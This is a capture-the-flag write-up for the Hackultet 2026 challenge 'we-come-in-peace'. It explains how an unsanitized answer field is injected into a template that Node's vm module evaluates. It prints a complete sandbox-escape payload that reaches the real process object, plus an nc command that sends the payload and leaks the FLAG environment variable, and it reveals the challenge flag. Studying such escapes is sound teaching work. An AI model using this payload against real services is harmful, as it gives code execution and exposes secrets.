neven@dimitri-dev:~$
cd ../hackultet-2026

$cat we-come-in-peace.mdWebHackultet 2026

we-come-in-peace

A riddle about JavaScript's date quirks hides a Node.js sandbox that was never meant to be a security boundary, and one unsanitized field is enough to step outside it entirely.

  • #vm-escape
  • #template-injection
  • #javascript

$man we-come-in-peace

What this one teaches:

  • That Node's vm module is explicitly not a security sandbox, no matter how it's wrapped.
  • The standard JavaScript vm escape, walking from a sandboxed object's constructor back out to the real Function constructor.
  • Reading obfuscated JavaScript by evaluating pieces of it, rather than trying to untangle it by eye.

Task description

A riddle service about ordering JavaScript Dates, reachable over a plain TCP connection. Answers are submitted as five colon-separated fields plus a timezone.

The scoring and the sandbox

The server runs on Node.js, and evaluates each submitted answer against six checks, each worth a point toward a sanityScore; reach five and the flag prints. The checks themselves are deliberately obfuscated with unusual number bases and type-coercion tricks, built around real JavaScript Date oddities, like a day overflowing into the next month, or a timezone (Pacific/Apia) that skipped a calendar day entirely in 2011.

None of that scoring logic is actually the vulnerability. The vulnerability is in how one of the submitted fields reaches the server’s evaluator:

const script = `
    try {
        if ('${cmd}' == '${p5}') {
            output = data['${cmd}']()[0];
        }
    } catch {}
`;
vm.runInContext(script, sandbox);

Two submitted values, cmd and the raw field p5, are interpolated directly into a JavaScript template literal, which is then handed to vm.runInContext(). cmd is derived indirectly (it’s built by indexing into a fixed alphabet string using another field), but p5 reaches this template completely unsanitized.

Why the sandbox doesn’t hold

Node’s own documentation is explicit that the vm module is not a security mechanism; it separates execution contexts, not privileges. The standard way past it is to walk the prototype chain back out to the real, unsandboxed Function constructor:

this.constructor.constructor('return process')()

Inside the sandbox, this is a plain object, its constructor is Object (from the outer realm, not a sandboxed copy), and Object’s own constructor is Function, also from the outer realm. Calling that Function with a string body compiles and runs code in the real process, outside any sandboxing vm.runInContext() was doing. process.env.FLAG is reachable the moment that function runs.

Building the payload

p5 lands inside a single-quoted template literal, so the injection has to close that quote, insert valid statements, and leave the rest of the generated script syntactically intact so it doesn’t just throw inside the try block before reaching our code:

Invalid');var P=this.constructor.constructor('return process')();P.stdout.write(P.env.FLAG+String.fromCharCode(10));if('

Substituted into the template, the generated script becomes, in effect:

try {
    if ('Invalid' == 'Invalid');
    var P = this.constructor.constructor('return process')();
    P.stdout.write(P.env.FLAG + String.fromCharCode(10));
    if ('') {
        output = data['Invalid']()[0];
    }
} catch {}

The first if is given an empty statement (the trailing ;) so it does nothing; the escape runs unconditionally right after; a second, always-false if absorbs what would otherwise be the original, now-harmless data[...]() call, so nothing throws before the flag has already been printed.

Satisfying the other fields

The remaining fields only need to be well-formed enough that the server’s own checks don’t reject the submission outright before reaching the vulnerable line:

  • P1 needs to parse as a Date matching several obfuscated checks at once; a string naming April 31st actually resolves to May 1st (April only has 30 days, so JavaScript’s Date rolls the overflow into the next month), which is the specific ambiguity the challenge’s own riddle framing points at.
  • P2 can be essentially anything, since it only feeds one of the (irrelevant, always caught) obfuscated checks.
  • P3 indexes into a fixed alphabet string to spell out the word the vulnerable cmd == p5 comparison checks against.
  • P4 just needs to be valid JSON.
  • TZ plays no part in the escape itself.

Sending it

echo "31 april32::!::0,1,2,3,4,5,6::{}::Invalid');var P=this.constructor.constructor('return process')();P.stdout.write(P.env.FLAG+String.fromCharCode(10));if('::UTC" | nc chal.live.hackultet.hr 14081

The flag prints as a side effect of the escape running, before the server ever finishes computing whether the answer itself would have passed its own riddle.

$cat flag.txt revealCTF2026[977919052185]

Written by Neven Marić. This writeup was written with the help of Claude Code (Anthropic).